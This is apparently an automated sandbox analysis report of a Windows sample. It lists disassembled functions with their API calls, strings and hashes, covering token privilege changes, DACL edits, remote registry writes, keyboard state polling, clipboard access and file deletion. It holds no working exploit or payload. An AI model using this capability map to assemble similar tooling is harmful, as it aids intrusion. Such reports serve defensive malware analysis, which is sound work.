APIs

Part of subcall function 00F187E1: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00F1882B
Part of subcall function 00F187E1: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00F18858
Part of subcall function 00F187E1: GetLastError.KERNEL32 ref: 00F18865

_memset.LIBCMT ref: 00F18353
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,00000001,?,?), ref: 00F183A5
CloseHandle.KERNEL32(?), ref: 00F183B6
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 00F183CD
GetProcessWindowStation.USER32 ref: 00F183E6
SetProcessWindowStation.USER32(00000000), ref: 00F183F0
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 00F1840A

Part of subcall function 00F181CB: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00F18309), ref: 00F181E0
Part of subcall function 00F181CB: CloseHandle.KERNEL32(?,?,00F18309), ref: 00F181F2

Strings

default, xrefs: 00F18405
, xrefs: 00F18362
winsta0, xrefs: 00F183C8

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLookupPrivilegeValue_memset
String ID: $default$winsta0
API String ID: 2063423040-1027155976
Opcode ID: 472b420a2fedc2a018222747f266596031ef97743e80ecf06d0ab422451be9f5
Instruction ID: c2494021853422e3e63fb4c9b4501509a1ddc61ab57f3086b7b8097f6280a736
Opcode Fuzzy Hash: 472b420a2fedc2a018222747f266596031ef97743e80ecf06d0ab422451be9f5
Instruction Fuzzy Hash: 03818A71C0020DAFDF119FA4CD45AEE7BB9EF053A4F184069FD14A2161EB358E96EB20

Function 00F2C75C Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 280timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00F2C78D
FindClose.KERNEL32(00000000), ref: 00F2C7E1
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00F2C806
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00F2C81D
FileTimeToSystemTime.KERNEL32(?,?), ref: 00F2C844
__swprintf.LIBCMT ref: 00F2C890
__swprintf.LIBCMT ref: 00F2C8D3

Part of subcall function 00EC7DE1: _memmove.LIBCMT ref: 00EC7E22

__swprintf.LIBCMT ref: 00F2C927

Part of subcall function 00EE3698: __woutput_l.LIBCMT ref: 00EE36F1

__swprintf.LIBCMT ref: 00F2C975

Part of subcall function 00EE3698: __flsbuf.LIBCMT ref: 00EE3713
Part of subcall function 00EE3698: __flsbuf.LIBCMT ref: 00EE372B

__swprintf.LIBCMT ref: 00F2C9C4
__swprintf.LIBCMT ref: 00F2CA13
__swprintf.LIBCMT ref: 00F2CA62

Strings

%4d%02d%02d%02d%02d%02d, xrefs: 00F2C88A
%4d, xrefs: 00F2C8CD
%02d, xrefs: 00F2C91B, 00F2C925, 00F2C973, 00F2C9C2, 00F2CA11, 00F2CA60

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: __swprintf$FileTime$FindLocal__flsbuf$CloseFirstSystem__woutput_l_memmove
String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
API String ID: 3953360268-2428617273
Opcode ID: 73c7f5cd87d433fec01ce5e0e0fd6330ba340bf2ef9c48e135437d82b42c9008
Instruction ID: 5883bae4ff13051b84b5ffb7cc067ba1eeb58e51ec89825ecee51322264e733c
Opcode Fuzzy Hash: 73c7f5cd87d433fec01ce5e0e0fd6330ba340bf2ef9c48e135437d82b42c9008
Instruction Fuzzy Hash: 18A16EB2404344ABC704EFA4D989EAFB7ECFF94700F40191DF59597192EA35EA09CB62

Function 00F2EF95 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 119fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,75568FB0,?,00000000), ref: 00F2EFB6
_wcscmp.LIBCMT ref: 00F2EFCB
_wcscmp.LIBCMT ref: 00F2EFE2
GetFileAttributesW.KERNEL32(?), ref: 00F2EFF4
SetFileAttributesW.KERNEL32(?,?), ref: 00F2F00E
FindNextFileW.KERNEL32(00000000,?), ref: 00F2F026
FindClose.KERNEL32(00000000), ref: 00F2F031
FindFirstFileW.KERNEL32(*.*,?), ref: 00F2F04D
_wcscmp.LIBCMT ref: 00F2F074
_wcscmp.LIBCMT ref: 00F2F08B
SetCurrentDirectoryW.KERNEL32(?), ref: 00F2F09D
SetCurrentDirectoryW.KERNEL32(00F78920), ref: 00F2F0BB
FindNextFileW.KERNEL32(00000000,00000010), ref: 00F2F0C5
FindClose.KERNEL32(00000000), ref: 00F2F0D2
FindClose.KERNEL32(00000000), ref: 00F2F0E4

Strings

*.*, xrefs: 00F2F048

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1803514871-438819550
Opcode ID: ec7fab876ed973e25b391adfd6efc4e6929ba66d960e40cfb0b26cd3153c394f
Instruction ID: 0e9c876e02314dcd3886123a9329c8f7dfbe481bf447f9ef9b0c1e9f677332e8
Opcode Fuzzy Hash: ec7fab876ed973e25b391adfd6efc4e6929ba66d960e40cfb0b26cd3153c394f
Instruction Fuzzy Hash: 5631D53690122D6BDB14DFB4EC48AEE77BCDF49360F104176E909E3191DB70DA48EA61

Function 00F40857 Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00F40953
RegCreateKeyExW.ADVAPI32(?,?,00000000,00F4F910,00000000,?,00000000,?,?), ref: 00F409C1
RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 00F40A09
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 00F40A92
RegCloseKey.ADVAPI32(?), ref: 00F40DB2
RegCloseKey.ADVAPI32(00000000), ref: 00F40DBF

Strings

REG_MULTI_SZ, xrefs: 00F40B7A
REG_DWORD, xrefs: 00F40C83
REG_SZ, xrefs: 00F40AD0
REG_EXPAND_SZ, xrefs: 00F40A2F
REG_BINARY, xrefs: 00F40D4D
REG_QWORD, xrefs: 00F40D00

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Close$ConnectCreateRegistryValue
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 536824911-966354055
Opcode ID: bdddfc24b717d5b447eaafabf516e2923568ec860ebcabcca4df93b41cfaf724
Instruction ID: b426c387991d31b4d71fc5b3a7d5f1c08fb233dff78ecba46f94e0d2ec248d89
Opcode Fuzzy Hash: bdddfc24b717d5b447eaafabf516e2923568ec860ebcabcca4df93b41cfaf724
Instruction Fuzzy Hash: 77029F766046119FCB14DF24C945E2ABBE5FF89720F04845DF98AAB362CB31EC45DB81

Function 00F2F0F2 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 112fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,75568FB0,?,00000000), ref: 00F2F113
_wcscmp.LIBCMT ref: 00F2F128
_wcscmp.LIBCMT ref: 00F2F13F

Part of subcall function 00F24385: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 00F243A0

FindNextFileW.KERNEL32(00000000,?), ref: 00F2F16E
FindClose.KERNEL32(00000000), ref: 00F2F179
FindFirstFileW.KERNEL32(*.*,?), ref: 00F2F195
_wcscmp.LIBCMT ref: 00F2F1BC
_wcscmp.LIBCMT ref: 00F2F1D3
SetCurrentDirectoryW.KERNEL32(?), ref: 00F2F1E5
SetCurrentDirectoryW.KERNEL32(00F78920), ref: 00F2F203
FindNextFileW.KERNEL32(00000000,00000010), ref: 00F2F20D
FindClose.KERNEL32(00000000), ref: 00F2F21A
FindClose.KERNEL32(00000000), ref: 00F2F22C

Strings

*.*, xrefs: 00F2F190

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 1824444939-438819550
Opcode ID: 67a036684e5f63e344797bf488106cdfd1d9d3801caa13a49c9707e6a75fa855
Instruction ID: 382694cc14e6890d59ded3b4821d6f8377a71a4a30ac8f88d11c746deb25805b
Opcode Fuzzy Hash: 67a036684e5f63e344797bf488106cdfd1d9d3801caa13a49c9707e6a75fa855
Instruction Fuzzy Hash: A431A23690022DAADB109EB4FC49AEE77BC9F46370F104175E904E21A1DB70DE4DEA55

Function 00F2A1EF Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 102fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00F2A20F
__swprintf.LIBCMT ref: 00F2A231
CreateDirectoryW.KERNEL32(?,00000000), ref: 00F2A26E
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00F2A293
_memset.LIBCMT ref: 00F2A2B2
_wcsncpy.LIBCMT ref: 00F2A2EE
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 00F2A323
CloseHandle.KERNEL32(00000000), ref: 00F2A32E
RemoveDirectoryW.KERNEL32(?), ref: 00F2A337
CloseHandle.KERNEL32(00000000), ref: 00F2A341

Strings

\, xrefs: 00F2A247
:, xrefs: 00F2A252
\??\%s, xrefs: 00F2A22B

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
String ID: :$\$\??\%s
API String ID: 2733774712-3457252023
Opcode ID: b3c48196cfba51c5d392e06c43f6fd64120dc61ef97171ff891cd6a43e395484
Instruction ID: 202cf29565af56f2d542e36701244fbea85d5ce18e853b655a1fbc2dd075c39b
Opcode Fuzzy Hash: b3c48196cfba51c5d392e06c43f6fd64120dc61ef97171ff891cd6a43e395484
Instruction Fuzzy Hash: 4D31C1B590015DABDB20DFA0DC49FEB37BCEF89750F1040B6FA08E2160EB7596489B65

Function 00F17CAF Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00F18202: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00F1821E
Part of subcall function 00F18202: GetLastError.KERNEL32(?,00F17CE2,?,?,?), ref: 00F18228
Part of subcall function 00F18202: GetProcessHeap.KERNEL32(00000008,?,?,00F17CE2,?,?,?), ref: 00F18237
Part of subcall function 00F18202: HeapAlloc.KERNEL32(00000000,?,00F17CE2,?,?,?), ref: 00F1823E
Part of subcall function 00F18202: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00F18255

Part of subcall function 00F1829F: GetProcessHeap.KERNEL32(00000008,00F17CF8,00000000,00000000,?,00F17CF8,?), ref: 00F182AB
Part of subcall function 00F1829F: HeapAlloc.KERNEL32(00000000,?,00F17CF8,?), ref: 00F182B2
Part of subcall function 00F1829F: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00F17CF8,?), ref: 00F182C3

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00F17D13
_memset.LIBCMT ref: 00F17D28
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00F17D47
GetLengthSid.ADVAPI32(?), ref: 00F17D58
GetAce.ADVAPI32(?,00000000,?), ref: 00F17D95
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00F17DB1
GetLengthSid.ADVAPI32(?), ref: 00F17DCE
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00F17DDD
HeapAlloc.KERNEL32(00000000), ref: 00F17DE4
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00F17E05
CopySid.ADVAPI32(00000000), ref: 00F17E0C
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00F17E3D
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00F17E63
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00F17E77

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: 5276c48efdfecd9d86a18647ba2d3803226afae6e4897a2c3fbc5d704953c9f4
Instruction ID: 849920e186bf10036ec7a74f4e3791a938b29503e5319b8ec6a02aeadd0eca90
Opcode Fuzzy Hash: 5276c48efdfecd9d86a18647ba2d3803226afae6e4897a2c3fbc5d704953c9f4
Instruction Fuzzy Hash: E1617C75900209AFDF00DFA5DC44EEEBBB9FF44310F148169F819A62A1DB359E45EB60

Function 00ED66E1 Relevance: 20.9, Strings: 16, Instructions: 889COMMON

Download Yara Rule

Strings

LF), xrefs: 00F112A4
LIMIT_MATCH=, xrefs: 00F11170
UCP), xrefs: 00F1110D
ANYCRLF), xrefs: 00F112FB
NO_AUTO_POSSESS), xrefs: 00F1112E
CRLF), xrefs: 00F112C1
_, xrefs: 00F11465, 00F1150C, 00F115B4
BSR_UNICODE), xrefs: 00F11338
BSR_ANYCRLF), xrefs: 00F1131E
ANY), xrefs: 00F112DE
LIMIT_RECURSION=, xrefs: 00F111FC
3c, xrefs: 00ED68FF
NO_START_OPT), xrefs: 00F1114F
UTF16), xrefs: 00F110CF
UTF), xrefs: 00F110FA
CR), xrefs: 00F11287

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID:
String ID: 3c$ANY)$ANYCRLF)$BSR_ANYCRLF)$BSR_UNICODE)$CR)$CRLF)$LF)$LIMIT_MATCH=$LIMIT_RECURSION=$NO_AUTO_POSSESS)$NO_START_OPT)$UCP)$UTF)$UTF16)$_
API String ID: 0-4228276721
Opcode ID: 57455cc62df9ff373a472a68d0795caf09c85654d326c40ea1e55207bec5995c
Instruction ID: c2bcbfd13cae01b28c599eb370c650a850bfe49e091d9bb19fdb6ae08f391e6a
Opcode Fuzzy Hash: 57455cc62df9ff373a472a68d0795caf09c85654d326c40ea1e55207bec5995c
Instruction Fuzzy Hash: 6A726C75E002199BDB24CF58C8807EEB7B5FF48710F14816BE959FB291EB709A81DB90

Function 00F2001C Relevance: 18.2, APIs: 12, Instructions: 186keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00F20097
SetKeyboardState.USER32(?), ref: 00F20102
GetAsyncKeyState.USER32(000000A0), ref: 00F20122
GetKeyState.USER32(000000A0), ref: 00F20139
GetAsyncKeyState.USER32(000000A1), ref: 00F20168
GetKeyState.USER32(000000A1), ref: 00F20179
GetAsyncKeyState.USER32(00000011), ref: 00F201A5
GetKeyState.USER32(00000011), ref: 00F201B3
GetAsyncKeyState.USER32(00000012), ref: 00F201DC
GetKeyState.USER32(00000012), ref: 00F201EA
GetAsyncKeyState.USER32(0000005B), ref: 00F20213
GetKeyState.USER32(0000005B), ref: 00F20221

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: a0987c58619bea77b399051a731311bba2ea35eb6a95fe57afca714c6b56c0a9
Instruction ID: e97a2e8fa008819cf819015ca6bea593273d12a6da85cba13ddc25c11fcfca82
Opcode Fuzzy Hash: a0987c58619bea77b399051a731311bba2ea35eb6a95fe57afca714c6b56c0a9
Instruction Fuzzy Hash: 11511B31D043A829FB34DBA0A8547EABFB49F11390F08459ED9C2561C3DEA49B8CE761

Function 00F403DA Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00F40E1A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00F3FDAD,?,?), ref: 00F40E31

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00F404AC

Part of subcall function 00EC9837: __itow.LIBCMT ref: 00EC9862
Part of subcall function 00EC9837: __swprintf.LIBCMT ref: 00EC98AC

RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00F4054B
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 00F405E3
RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 00F40822
RegCloseKey.ADVAPI32(00000000), ref: 00F4082F

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
String ID:
API String ID: 1240663315-0
Opcode ID: b83f92d9b95cfa4d49e1fc18939eacdc6b6bd03786d79ee17856c2e78dc96331
Instruction ID: 5ddfe5bb50017ac8173112a15fea3bbbd9de892dd78368f0956420829503d187
Opcode Fuzzy Hash: b83f92d9b95cfa4d49e1fc18939eacdc6b6bd03786d79ee17856c2e78dc96331
Instruction Fuzzy Hash: B8E17F31604204AFCB14DF28C985E2ABBE5FF89714F04856DF94ADB262DB31ED05DB92

Function 00F383BB Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON

Download Yara Rule

APIs

Part of subcall function 00EC9837: __itow.LIBCMT ref: 00EC9862
Part of subcall function 00EC9837: __swprintf.LIBCMT ref: 00EC98AC

CoInitialize.OLE32 ref: 00F38403
CoUninitialize.OLE32 ref: 00F3840E
CoCreateInstance.OLE32(?,00000000,00000017,00F52BEC,?), ref: 00F3846E
IIDFromString.OLE32(?,?), ref: 00F384E1
VariantInit.OLEAUT32(?), ref: 00F3857B
VariantClear.OLEAUT32(?), ref: 00F385DC

Strings

Failed to create object, xrefs: 00F38479, 00F3852F
NULL Pointer assignment, xrefs: 00F384B3
Invalid parameter, xrefs: 00F384FA

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 834269672-1287834457
Opcode ID: 4b7ca0b0a18822df2dc2d5198e50d1e053f1da5c5286c57d75ddcea8ffdf3ad2
Instruction ID: edc88cc7e3d7c8a10425cfd9b59fd059aac1543a2a622e6a0a755832674a8a4c
Opcode Fuzzy Hash: 4b7ca0b0a18822df2dc2d5198e50d1e053f1da5c5286c57d75ddcea8ffdf3ad2
Instruction Fuzzy Hash: E961C0716083129FC710DF24C848F6EB7E8AF457A4F04441DF9859B291CB78ED4AEB92

Function 00F34164 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00F3418B
EmptyClipboard.USER32 ref: 00F34191
GlobalAlloc.KERNEL32(00000002,?), ref: 00F341A6
CloseClipboard.USER32 ref: 00F34245

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: c14079d6d28cc11f74d8cb3a095c0627674613d7161ac78eb4f5f2446bf9315a
Instruction ID: d6d20665208313f5a751b88cef2df6945cab824d1737d3112310bd8418487633
Opcode Fuzzy Hash: c14079d6d28cc11f74d8cb3a095c0627674613d7161ac78eb4f5f2446bf9315a
Instruction Fuzzy Hash: CA21B13A6006149FDB01AF60DC09B6A7BA8EF15720F118029FD4AEB2A1DB70BD01EB54

Function 00F237EF Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 167fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00EC4750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00EC4743,?,?,00EC37AE,?), ref: 00EC4770

Part of subcall function 00F24A31: GetFileAttributesW.KERNEL32(?,00F2370B), ref: 00F24A32

FindFirstFileW.KERNEL32(?,?), ref: 00F238A3
DeleteFileW.KERNEL32(?,?,00000000,?,?,?,?), ref: 00F2394B
MoveFileW.KERNEL32(?,?), ref: 00F2395E
DeleteFileW.KERNEL32(?,?,?,?,?), ref: 00F2397B
FindNextFileW.KERNEL32(00000000,00000010), ref: 00F2399D
FindClose.KERNEL32(00000000,?,?,?,?), ref: 00F239B9

Strings

\*.*, xrefs: 00F2384E, 00F23857, 00F2386C

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: File$Find$Delete$AttributesCloseFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 4002782344-1173974218
Opcode ID: e362ebb1a6b1f6f6a2e8ed951ff8f2a7150af9ca287a2ffc4435ba06971c8ae3
